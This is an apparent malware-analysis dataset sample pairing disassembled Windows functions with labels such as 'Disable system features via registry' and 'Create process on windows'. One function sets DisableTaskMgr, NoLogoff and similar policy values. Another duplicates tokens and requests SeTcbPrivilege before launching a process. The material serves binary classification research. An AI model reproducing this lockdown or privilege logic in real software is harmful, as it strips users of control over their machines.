joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405350
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
mov eax, dword [0x432adc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.GlobalTSLPROAutoRelogonInfoDataVista
push 0
mov ecx, 0x212
lea esi, [ebp + 8]
lea edi, [ebp - 0x84c]
push 6
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x850], 0xffffffff
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov dword [ebp - 0x854], eax
test eax, eax
je 0x405476
push ebx
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x405460
push str.Passing_will_dump
push str.SetServerRelogonDataVista_outside_service
call fcn.004039c0
lea eax, [ebp - 0x84c]
push eax
call fcn.00403e50
add esp, 0xc
mov ecx, 0x212
lea esi, [ebp - 0x84c]
mov edi, ebx
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push str.GlobalTSLPRORelogonDataEvent
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0xac
mov esi, eax
call fcn.00401180
add esp, 4
push 0x2710
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x405422
mov dword [ebp - 0x850], eax
jmp 0x405433
cmp eax, 0x102
jne 0x405433
mov dword [ebp - 0x850], 3
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x405440
push esi
call edi
mov ecx, dword [ebp - 0x854]
push ecx
call edi
mov eax, dword [ebp - 0x850]
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412803
mov esp, ebp
pop ebp
ret
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412803
mov esp, ebp
pop ebp
ret
push str.Error_OpenFileMapping_SetServerRelogonDataVista
push 0x429300
call fcn.004039c0
mov ecx, dword [ebp - 4]
add esp, 8
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00412803
mov esp, ebp
pop ebp
ret
Function at 0x407440
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x432adc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 0xe
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
lea edi, [ebp - 0x204]
rep movsd dword es:[edi], dword [esi]
push 0x1c6
lea eax, [ebp - 0x1ca]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.00413850
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x204]
push edx
push 0x80000001
mov dword [ebp - 0x20c], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x4074b8
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412803
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x208]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.DisableTaskMgr
push ecx
call ebx
mov eax, dword [ebp - 0x208]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.DisableChangePassword
push eax
call ebx
mov edx, dword [ebp - 0x208]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.DisableLockWorkstation
push edx
call ebx
mov eax, dword [ebp - 0x208]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0xf
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
lea edi, [ebp - 0x204]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x204]
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x40755f
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412803
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x208]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.NoClose
push ecx
call ebx
mov eax, dword [ebp - 0x208]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.NoLogoff
push eax
call ebx
mov ecx, dword [ebp - 0x208]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00412803
mov esp, ebp
pop ebp
ret

Function at 0x412803
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432adc]
jne 0x41280d
repz ret
jmp fcn.00418ae2

Function at 0x4138ca
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x4138fb
call fcn.00414eb1
mov dword [eax], esi
call fcn.00414e9e
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.004185d5
add esp, 0x14
push 0x16
pop eax
jmp 0x413950
test dword [ebp + 0xc], 0xfffffff9
jne 0x4138d7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x413928
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00414ec4
pop ecx
call fcn.00414e9e
mov eax, dword [eax]
jmp 0x413950
test al, 0x10
jne 0x41394e
test al, 1
je 0x41394e
test byte [ebp + 0xc], 2
je 0x41394e
call fcn.00414eb1
mov dword [eax], 5
call fcn.00414e9e
mov dword [eax], 0xd
jmp 0x41391f
xor eax, eax
pop esi
pop ebp
ret
Function at 0x418d40
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x418d56
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x418d52
xor edx, edx
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jmp 0x439bb8

Function at 0x422939
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00417e9e
and dword [ebp - 4], 0
cmp dword [0x4366c0], 0
mov ebx, eax
jne 0x4229ea
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x422a9b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x42cf10
push edi
call esi
test eax, eax
je 0x422a9b
push eax
call fcn.00417e2c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4366c0], eax
call esi
push eax
call fcn.00417e2c
mov dword [esp], 0x42ceec
push edi
mov dword [0x4366c4], eax
call esi
push eax
call fcn.00417e2c
mov dword [esp], 0x42ced0
push edi
mov dword [0x4366c8], eax
call esi
push eax
call fcn.00417e2c
pop ecx
mov dword [0x4366d0], eax
test eax, eax
je 0x4229ea
push 0x42ceb8
push edi
call esi
push eax
call fcn.00417e2c
pop ecx
mov dword [0x4366cc], eax
mov eax, dword [0x4366cc]
cmp eax, ebx
je 0x422a42
cmp dword [0x4366d0], ebx
je 0x422a42
push eax
call fcn.00417ea7
push dword [0x4366d0]
mov esi, eax
call fcn.00417ea7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x422a42
test edi, edi
je 0x422a42
call esi
test eax, eax
je 0x422a39
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x422a39
test byte [ebp - 0xc], 1
jne 0x422a42
or dword [ebp + 0x10], 0x200000
jmp 0x422a7b
mov eax, dword [0x4366c4]
cmp eax, ebx
je 0x422a7b
push eax
call fcn.00417ea7
pop ecx
test eax, eax
je 0x422a7b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x422a7b
mov eax, dword [0x4366c8]
cmp eax, ebx
je 0x422a7b
push eax
call fcn.00417ea7
pop ecx
test eax, eax
je 0x422a7b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4366c0]
call fcn.00417ea7
pop ecx
test eax, eax
je 0x422a9b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422a9d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
mov eax, dword [0x421130]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x11c
push esi
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.004087d0
add esp, 0xc
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push eax
call esi
test eax, eax
jne 0x40105b
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x114
call esi
or eax, eax
je 0x401065
cmp dword [ebp - 0x11c], 6
sbb eax, eax
inc eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040884a
leave
ret
Function at 0x4018ab
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ebx
and dword [ebp - 4], 0
mov edx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
test esi, esi
jle 0x401984
push edi
mov edi, dword [ebp + 0xc]
push ecx
push 0x3f
pop ecx
inc edi
movzx ebx, byte [edi - 1]
cmp esi, 3
jl 0x401921
shl ebx, 8
movzx eax, byte [edi]
or ebx, eax
movzx eax, byte [edi + 1]
shl ebx, 8
or ebx, eax
mov eax, ebx
shr eax, 0x12
and eax, ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], al
mov eax, ebx
shr eax, 0xc
and eax, ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 1], al
mov eax, ebx
shr eax, 6
and eax, ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
and ebx, ecx
mov byte [edx + 2], al
mov al, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 3], al
jmp 0x40196d
shl ebx, 0x10
cmp esi, 2
jne 0x401931
movzx eax, byte [edi]
shl eax, 8
or ebx, eax
mov eax, ebx
shr eax, 0x12
and eax, ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], al
mov eax, ebx
shr eax, 0xc
and eax, ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
cmp esi, 1
mov byte [edx + 1], al
jne 0x40195a
push 0x3d
pop ebx
jmp 0x401966
shr ebx, 6
and ebx, ecx
movzx ebx, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 2], bl
mov byte [edx + 3], 0x3d
add dword [ebp - 4], 4
sub esi, 3
sub edx, 0xfffffffc
add edi, 3
test esi, esi
jg 0x4018cb
pop ecx
pop edi
mov eax, dword [ebp - 4]
mov byte [edx], 0
pop esi
leave
ret

Function at 0x40198d
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff6f8
mov eax, dword [0x421130]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push esi
mov esi, dword [ebp + 8]
push 0
lea eax, [ebp - 0x904]
push eax
mov edi, 0x308
push edi
lea eax, [ebp - 0x30c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401a2d
cmp dword [ebp - 0x904], edi
jne 0x401a2d
cmp dword [ebp - 0x308], 0
jne 0x4019db
push 0
jmp 0x4019e2
lea eax, [ebp - 0x106]
push eax
lea eax, [ebp - 0x304]
push eax
call fcn.00401716
mov edi, eax
pop ecx
lea eax, [ebp - 0x8fc]
pop ecx
push 0x5f0
push 0x422600
push eax
call fcn.00408d60
lea eax, [ebp - 0x908]
add esp, 0xc
push 0
push eax
lea eax, [ebp - 0x900]
push 0x5f4
push eax
push esi
mov dword [ebp - 0x900], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
pop edi
call fcn.0040884a
leave
ret
Function at 0x401b44
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
cmp dword [ebp + 8], edi
je 0x401b87
push edi
push 0x80
push 3
push edi
push 7
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
or eax, 0xffffffff
cmp esi, eax
je 0x401b8a
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
jmp 0x401b8a
or eax, 0xffffffff
pop edi
pop esi
pop ebp
ret

Function at 0x401dfe
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x421130]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push ebx
push esi
lea eax, [ebp - 0x194]
push eax
mov esi, ecx
mov edi, dword [esi + 0xc]
xor ebx, ebx
push 0x202
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x198], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x401ea9
push 0x10
push ebx
mov ebx, 0x423810
push ebx
call fcn.004087d0
sub esp, 0xfffffff4
lea eax, [esi + 4]
push eax
push ebx
xor ebx, ebx
inc ebx
push ebx
push 2
mov dword [0x423810], 0x401d08
call sub.TRAFFIC.dll_TcRegisterClient
or eax, eax
jne 0x401ea9
mov ecx, esi
call fcn.00401d1d
or eax, eax
je 0x401ea9
cmp dword [esi + 0xc], 0
je 0x401ea9
jmp 0x401e9f
inc dword [ebp - 0x198]
mov ecx, edi
push dword [ebp - 0x198]
push dword [esi + 8]
call fcn.00404738
mov ecx, edi
call fcn.00404767
mov edi, dword [edi + 0x10]
or edi, edi
jne 0x401e7f
mov dword [ebp - 0x19c], ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x19c]
pop esi
xor ecx, ebp
pop ebx
pop edi
call fcn.0040884a
leave
ret
Function at 0x4024e7
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
mov eax, dword [0x421130]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
or eax, eax
je 0x40252c
cmp dword [ebp - 0x108], 2
jne 0x40252c
cmp dword [ebp - 0x114], 6
jb 0x40252c
xor eax, eax
inc eax
jmp 0x40252e
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040884a
leave
ret

Function at 0x40273b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
mov eax, dword [0x421130]
lea ecx, [ebp - 0x4c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0
push ecx
push 0x44
lea ecx, [ebp - 0x48]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4027d0
cmp dword [ebp - 0x4c], 0x44
jne 0x4027d0
lea esi, [ebp - 0x48]
sub esp, 0x38
push 0xe
pop ecx
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00402707
sub esp, 0xffffffc8
test eax, eax
je 0x4027d0
inc dword [ebp - 0x24]
lea esi, [ebp - 0x48]
sub esp, 0x38
push 0xe
pop ecx
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.004026ce
add esp, 0x38
mov edi, dword [ebp - 0xc]
or edi, edi
jne 0x4027a8
mov edi, dword [ebp - 8]
mov dword [ebp - 0x3c], edi
mov eax, dword [ebp - 0x10]
push eax
mov dword [ebp - 0x38], eax
call fcn.0040259d
add esp, 0xffffffcc
push 0xe
pop ecx
mov edi, esp
lea esi, [ebp - 0x48]
inc eax
mov dword [ebp - 0x24], eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040253a
add esp, 0x38
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
pop esi
call fcn.0040884a
leave
ret

Function at 0x4027de
Capabilities:
Delete registry value

Disassembly:
push esi
mov esi, esp
push ebp
mov ebp, dword [esi + 8]
push ebx
push dword [esi + 0xc]
push ebp
call fcn.00402156
pop ecx
pop ecx
mov ebx, eax
cmp ebx, 2
jbe 0x40284d
lea eax, [ebx + 2]
push edi
push eax
call fcn.0040987c
pop ecx
mov edi, eax
or edi, edi
je 0x402842
push 4
push 0
push edi
call fcn.004087d0
push 1
push ebx
push edi
push dword [esi + 0xc]
push ebp
call fcn.00402133
add esp, 0x20
or eax, eax
je 0x40284c
push 1
push ebx
push edi
push dword [esi + 0x10]
push ebp
call fcn.00402112
add esp, 0x14
test eax, eax
je 0x40284c
push edi
call fcn.00409842
pop ecx
push dword [esi + 0xc]
push ebp
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
pop edi
pop ebx
pop ebp
pop esi
ret
Function at 0x403098
Capabilities:
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa64
mov eax, dword [0x421130]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
xor esi, esi
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.004087d0
add esp, 0xc
push esi
lea eax, [ebp - 0x548]
push eax
mov edi, 0x208
push edi
lea eax, [ebp - 0x20c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
or eax, eax
je 0x4032ce
xor eax, eax
mov word [ebp - 6], ax
cmp dword [ebp - 0x548], edi
jne 0x4032ce
lea eax, [ebp - 0x59c]
push 0x44
pop ebx
push ebx
push esi
push eax
mov dword [ebp - 0x558], esi
mov dword [ebp - 0x554], esi
mov dword [ebp - 0x550], esi
mov dword [ebp - 0x54c], esi
call fcn.004087d0
push 0x10
lea eax, [ebp - 0x558]
push esi
push eax
call fcn.004087d0
mov dword [ebp - 0x59c], ebx
mov dword [ebp - 0x570], esi
mov dword [ebp - 0x534], esi
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x544]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x534]
push eax
push 1
push 2
push esi
push esi
push dword [ebp - 0x544]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
lea eax, [ebp - 0x530]
push eax
mov dword [ebp - 0x530], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test byte [ebp - 0x418], 0x10
jne 0x4031b6
test dword [ebp - 0x418], 0x300
je 0x403257
lea eax, [ebp - 0x538]
push eax
lea eax, [ebp - 0x540]
push eax
push 1
push esi
push esi
mov dword [ebp - 0x540], esi
mov dword [ebp - 0x538], esi
call sub.WTSAPI32.dll_WTSEnumerateSessionsW
test eax, eax
je 0x403257
xor edi, edi
cmp dword [ebp - 0x538], esi
jbe 0x40320e
mov edx, dword [ebp - 0x540]
lea ecx, [edx + 8]
cmp dword [ecx], esi
je 0x403202
inc edi
add ecx, 0xc
cmp edi, dword [ebp - 0x538]
jb 0x4031f0
jmp 0x40320e
imul edi, edi, 0xc
mov edi, dword [edi + edx]
mov dword [ebp - 0x53c], edi
mov ebx, dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push 4
lea eax, [ebp - 0x53c]
push eax
push 0xc
push dword [ebp - 0x534]
call ebx
or eax, eax
jne 0x403257
push 1
push str.SeTcbPrivilege
push dword [ebp - 0x534]
call fcn.00403016
sub esp, 0xfffffff4
test eax, eax
je 0x403257
lea eax, [ebp - 0x53c]
push 4
push eax
push 0xc
push dword [ebp - 0x534]
call ebx
lea eax, [ebp - 0x412]
push 0x206
xor ebx, ebx
mov word [ebp - 0x414], bx
push esi
push eax
call fcn.004087d0
lea eax, [ebp - 0x414]
mov ebx, 0x104
lea edi, [ebp - 0x20c]
push edi
push ebx
push eax
call fcn.004089fe
push str._nainstaller.exe
lea eax, [ebp - 0x414]
push ebx
push eax
call fcn.0040a2b5
lea ebx, [ebp - 0x558]
lea edi, [ebp - 0x20c]
add esp, 0x24
lea eax, [ebp - 0x59c]
push ebx
push eax
lea eax, [ebp - 0x414]
push edi
push esi
push esi
push esi
push esi
push esi
push esi
push eax
push dword [ebp - 0x534]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040884a
leave
ret
Function at 0x4032dd
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff64
mov eax, dword [0x421130]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x94
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x98]
push edi
push 0
push eax
call fcn.004087d0
add esp, 0xc
push 0
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x98]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
or eax, eax
je 0x403363
cmp dword [ebp - 0x9c], edi
jne 0x403363
call fcn.004024e7
or eax, eax
jne 0x403340
push eax
call fcn.00402da1
pop ecx
call fcn.00407dbf
lea esi, [ebp - 0x98]
sub esp, 0x94
push 0x25
pop ecx
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00407df1
add esp, 0x94
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040884a
leave
ret

Function at 0x403371
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x421130]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x94
lea eax, [ebp - 0x98]
mov esi, dword [ebp + 8]
push edi
push 0
push eax
call fcn.004087d0
add esp, 0xc
lea eax, [ebp - 0x9c]
push 0
push eax
push edi
lea eax, [ebp - 0x98]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4033e2
cmp dword [ebp - 0x9c], edi
jne 0x4033e2
lea esi, [ebp - 0x98]
sub esp, 0x94
push 0x25
pop ecx
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00407672
sub esp, 0xffffff6c
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040884a
leave
ret

Function at 0x403423
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
mov eax, dword [0x421130]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x210], 0
push 0x206
xor eax, eax
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004087d0
sub esp, 0xfffffff4
lea eax, [ebp - 0x210]
push eax
push 0xf003f
push 0
push str.SoftwareVMware__Inc.SSL_VPN_Plus_Client
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4034ca
lea eax, [ebp - 0x20c]
push 0x41bc28
push eax
call fcn.0040888a
lea eax, [ebp - 0x20c]
push eax
call fcn.00409447
lea eax, [eax + eax + 2]
add esp, 0xc
push eax
lea eax, [ebp - 0x20c]
push eax
push 1
push 0
push str.ContinueOnExit
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040884a
leave
ret

Function at 0x4034d6
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
and dword [ebp - 4], 0
push eax
push 0xf003f
push 0
push str.SoftwareVMware__Inc.SSL_VPN_Plus_Client
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403514
push str.ContinueOnExit
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x40378f
Capabilities:
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
mov esi, dword [ebp + 0x14]
cmp esi, ebx
jne 0x4037a6
xor eax, eax
jmp 0x403886
cmp dword [ebp + 0x18], 1
jne 0x40379f
cmp dword [ebp + 8], 0x24
jne 0x40379f
lea eax, [ebp + 0x14]
push eax
push ebx
push ebx
push 0x8008
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
or eax, eax
je 0x40379f
push 4
lea ecx, [ebp - 4]
pop eax
push ebx
push ecx
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp + 0x14]
mov dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jne 0x4037f2
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x40379f
cmp dword [ebp - 8], 0x24
jne 0x4037e7
push ebx
push dword [ebp + 0xc]
push 2
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptSetHashParam]
test eax, eax
je 0x4037e7
push edi
mov eax, 0x3e8
push eax
mov dword [ebp - 4], eax
call fcn.0040987c
mov edi, eax
pop ecx
cmp edi, ebx
jne 0x40382c
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x403853
lea eax, [ebp - 4]
push eax
push edi
push ebx
push ebx
push dword [esi + 8]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptSignHashW]
test eax, eax
jne 0x403857
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push edi
call fcn.00409842
pop ecx
xor eax, eax
jmp 0x403885
xor ecx, ecx
mov esi, dword [ebp - 4]
cmp esi, ebx
jbe 0x403872
lea eax, [edi + esi - 1]
mov dl, byte [eax]
mov ebx, dword [ebp + 0x10]
mov byte [ecx + ebx], dl
inc ecx
dec eax
cmp ecx, esi
jb 0x403864
push edi
call fcn.00409842
pop ecx
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret